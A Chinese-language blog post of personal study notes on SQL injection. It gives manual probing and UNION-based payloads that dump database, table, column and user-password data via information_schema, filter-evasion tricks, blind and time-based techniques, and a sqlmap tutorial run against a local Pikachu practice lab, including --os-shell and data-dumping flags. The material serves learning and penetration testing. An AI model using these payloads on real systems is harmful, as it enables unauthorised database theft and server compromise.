SQL隱碼攻擊方法

竹等寒發表於2024-07-08

目錄
  • 前言
  • 如何測試與利用注入點
    • 手工
    • 注入思路
    • 工具
      • sqlmap
      • -r
      • -u
      • -m
      • --level
      • --risk
      • -v
      • -p
      • --threads
      • -batch-smart
      • --os-shell
      • --mobile
      • tamper外掛
      • 獲取資料的相關引數

前言

記錄一些注入思路和經常使用的工具,後續有用到新的工具和總結新的方法再繼續補充。

如何測試與利用注入點

手工

下面的現象是在說存在注入點後的現象,如果服務端有防護手段就需要另外的手段繞過。

老方法:

  • 單引號

    現象:出現資料庫報錯。

  • or 1=1--

    現象:正常訪問頁面或者跟多資料一起展現出來了。

  • and 1=1--

    現象:正常訪問頁面。

  • and 1=2--

    現象:不會顯示任何內容或者會看到報錯資訊,這取決於服務端程式碼是如何寫的。

  • order by n

    現象:判斷該表的欄位數量,直到沒有報錯即order by後面那個n就是欄位數

  • union

    前提:知道表的欄位數量,所以可以先使用上面的order by進行測試欄位數

    payload:union select user(),database()--

    現象:若存在注入點,這裡的union使用的地方通常是可以展示多個資料的地方,因為聯合出來的資料會很多條,若存在注入點union注入的能力會十分強大。

    MySQL5.0以上有information_schema資料庫資訊

    • 獲取所有資料庫名:

      union select 1,group_concat(schema_name) from information_schema.schemata

    • 獲取當前資料庫所有表名:

      'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

    • 獲取某些表的所有列名:

      'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

      其中table_name=0x7573657273為十六進位制,這個不轉成十六進位制也可以table_name="users"

    • 獲取某表的所有欄位資料:

      ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users

      0x7c表示 | 符號,其實就是用過|將所有欄位資料拼接到一起進行顯示

注入思路

  • 第一步:找注入點,尋報錯

    單引號、雙引號、單引號+括號、雙引號+括號、單引號+雙括號、雙引號+雙括號、數字型(不用閉合)、json等等型別注入(post資料)、http header注入...

  • 第二步:

    • 若第一步發現有回顯報錯資訊出現,則可以進行sql注入語句的編寫。

      • order by 、union select 等方法猜測後端程式碼中這條sql語句查詢的屬性列數是多少

        • 如果被攔下了:對資料進行編碼、大小寫混用、雙寫、字串拼接等等
      • union select 1,2,3...,直到查詢列數後,透過查詢一個不存在的資料然後與union select聯合查詢配合回顯顯示位

        • 若有回顯資訊

          修改顯示位為我們要獲取的資訊,比如:database()、version()等等,或者mysql5.0以上使用imformation_schema來快速拖庫。

        • 若無回顯資訊

          嘗試bool盲注、base on time時間型注入等等。這裡也可以嘗試報錯注入。

    • 若第一步無回顯資訊出現。

      • 嘗試報錯注入。
      • dnslog注入拖庫
      • bool盲注、base on time 時間型注入等等
      • http header 資料包中尋找注入點。
  • 第三步:

    • 編寫能夠透過前後端檢查的sql注入語句
    • 使用工具拖庫
    • 可嘗試使用資料庫自帶的可執行系統命令進一步滲透。

工具

以下是一些工具注入手段。
在Github或谷歌搜尋都能搜到

  • Pongolin(穿山甲)

  • Havij(蘿蔔頭)

    來自國外的,比較經典且實用,就是註冊的時候有點麻煩,可以透過報錯的資訊發現缺少什麼元件去網上直接找解決方法即可。

    可以執行後端資料庫指紋識別,檢索DBMS使用者和密碼雜湊,轉儲表和列,從資料庫獲取

    資料,執行SQL語句甚至訪問底層檔案系統併發出作業系統級命令

sqlmap

下載地址:https://github.com/sqlmapproject/sqlmap

介紹:是一個開源的滲透工具。使用python2.7開發的,所以我們使用的時候需要用python2。或者直接去kali系統使用,kali自帶了sqlmap工具。而且他的引數都是直接新增即可,沒有順序可言,就很方便。

執行命令後可能會提示,下面使用簡單的-u對一個網址進行測試作為示例入門:

  • 1:sqlmap測試出來時哪個資料庫的時候會提示你是否還繼續測試其他資料庫的payload注入語句,這裡一般輸入n,你不放心就可以y
    在這裡插入圖片描述
  • 2:沒有設定level和risk的話就會詢問你是否預設都為等級1
    在這裡插入圖片描述
  • 3:找到注入的引數後就會詢問你是否還要繼續找其他注入引數,這裡就看自己需求
    在這裡插入圖片描述
  • 出結果:
    在這裡插入圖片描述

開始介紹引數使用與示例

-r

  • 介紹:萬能引數,主要針對post注入,但是任何其他請求方法都是可以的,這個引數用的最多。該引數是將資料包檔案中的資料傳送出去測試sql注入點,所以測試網站中某個url是否有sql注入點就可以抓包,然後儲存下來,使用-r引數進行對該url測試。

執行命令:python2 sqlmap.py -r 資料包檔案
在這裡插入圖片描述
在這裡插入圖片描述

-u

  • 介紹:只針對get請求,並且引數url最好用雙引號括起來。避免有些符號無法轉義當成引數寫進去了。

執行命令:python2 sqlmap.py -u "http://192.168.121.151/pikachu/vul/sqli/sqli_search.php?name=vince&submit=%E6%90%9C%E7%B4%A2"
在這裡插入圖片描述

-m

  • 介紹:上面的-u只能對一個url進行測試,那麼肯定能夠對多個url進行測試的引數,那就是-m了,需要注意的是-m的引數是指定檔案,我們多個url是寫在檔案中,然後-m指定該檔案

執行命令:sqlmap-master>python2 sqlmap.py --level 3 --risk 3 -m ./m.txt

注意:若你使用的url都是同一個ip地址下的網址的話,在測試過程中,會出現問你是否跳過同一個ip下的另一個url網址測試,這時候需要你選擇否來繼續測試你檔案中的下一個url網址,如果不是同ip僅僅只是詢問你確認該網址。如下圖就是同一個ip下的兩個網址進行測試,輪到下一個的時候會詢問你是否跳過,我們要測試的肯定一般都不會跳過,所以選擇否。
在這裡插入圖片描述

--level

  • 介紹:執行測試的等級(1-5,預設為1),使用–level 引數且數值 >=2的時候也會檢查cookie裡面的引數,當>=3的時候將檢查User-agent和Referer。

執行命令:按照上面的執行語句加一句 [--level 等級] 即可,如下

python2 sqlmap.py --level 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

注意:比如你寫了level 3,那麼在詢問你的時候就會是 level 3,但是risk還是預設1,如下圖
在這裡插入圖片描述

--risk

  • 介紹:執行測試的風險(0-3,預設為1),預設是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL隱碼攻擊測試。

執行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

同理注意:比如你寫了risk3,那麼在詢問你的時候就會是 risk3,但是level還是預設1,很容易發現,如多level 和 risk都定義了引數等級那就不會按照預設的等級來。


通常情況下使用level 3 risk 3就可以。


-v

顯示詳細資訊的意思,ERBOSE資訊級別: 0-6 (預設預設1),其值具體含義:

  • “0”只顯示python錯誤以及嚴重的資訊;
  • "1"同時顯示基本資訊和警告資訊(預設);
  • “2”同時顯示debug資訊;
  • “3”同時顯示注入的payload;
  • “4”同時顯示HTTP請求;
  • “5”同時顯示HTTP響應頭;
  • “6”同時顯示HTTP響應頁面;

如果想看到sqlmap傳送的測試payload最好的等級就是3。設定為5的話,可以看到http相應資訊,比較詳細。

執行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -v 3

學到這裡其實已經發現我們的引數逐漸完善了,基本的語句就是上面的例子↑

-p

-p就是指定你注入的引數,比如id是一個注入點,那我們在測試的時候就可以指定id引數,-p id,這樣測試會讓測試時間大大減少。不管是post資料包還是get的url都是可以使用-p 直接指定注入引數。

--threads

  • 介紹:指明傳送請求的併發執行緒數量。執行緒數越低判斷出來的sql注入準確率越高。

    • 注意:這個預設執行緒數量在 sqlmap資料夾\lib\core\setting.py 中,修改其中的MAX_NUMBER_OF_THREADS = 10,也就是說你使用--threads 指明的執行緒數最大也就10,想要指定更大的就修改配置檔案。(一般不需要很大,不然對方伺服器也頂不住這麼大的請求數量。甚至還有可能封你ip)
      在這裡插入圖片描述

-batch-smart

智慧判斷測試,自行尋找注入點進行測試 (該命令很少用)

這個智慧指令,會將所有資料庫全部扒一遍,並且會將每一步的資訊和資料全部給我們儲存下來,在如下目錄中

在這裡插入圖片描述

記住,這個引數測出來的資訊會很多,資料庫、表等等都會出來。

--os-shell

個人不推薦使用。(動靜大不說,等待時間還比較久)

前提條件

  • 網站必須是root許可權

  • 攻擊者需要知道網站的絕對路徑

  • GPC為off,php主動轉義的功能關閉

該功能耗費時間比較長。

原理

就是用into outfile函式將一個可以用來上傳的php檔案寫到網站的根目錄下
然後利用tmpukjhb.php上傳了一個tmpbezal.php的檔案,tmpbezal.php這個檔案可以用來執行系統命令,並且將結果返回出來
在這裡插入圖片描述

--mobile

直接加上--mobile即可,他會自動讓你選擇手機型號,不用自己輸入手機型號(所以也有侷限性,但是也不算侷限性,市面這麼多手機,只要能夠讓網站判斷是手機訪問的即可了)
在這裡插入圖片描述

tamper外掛

使用方法:

sqlmap.py -u url --tamper "base64encode.py";

在這裡插入圖片描述

獲取資料的相關引數

以下引數都是直接加上去即可,不用另外新增資料

例子:http://192.168.121.151/sql.php?id=1 --dbs

  • --dbs # 會獲取所有的資料庫
  • --current-user #顯示當前使用者
  • --current-db #當前連線資料庫名
  • --is-dba #判斷當前的使用者是否為管理員
  • --users #列出資料庫所有所有使用者

暫時瞭解這麼多,後面繼續進階了再繼續學習補充...


相關文章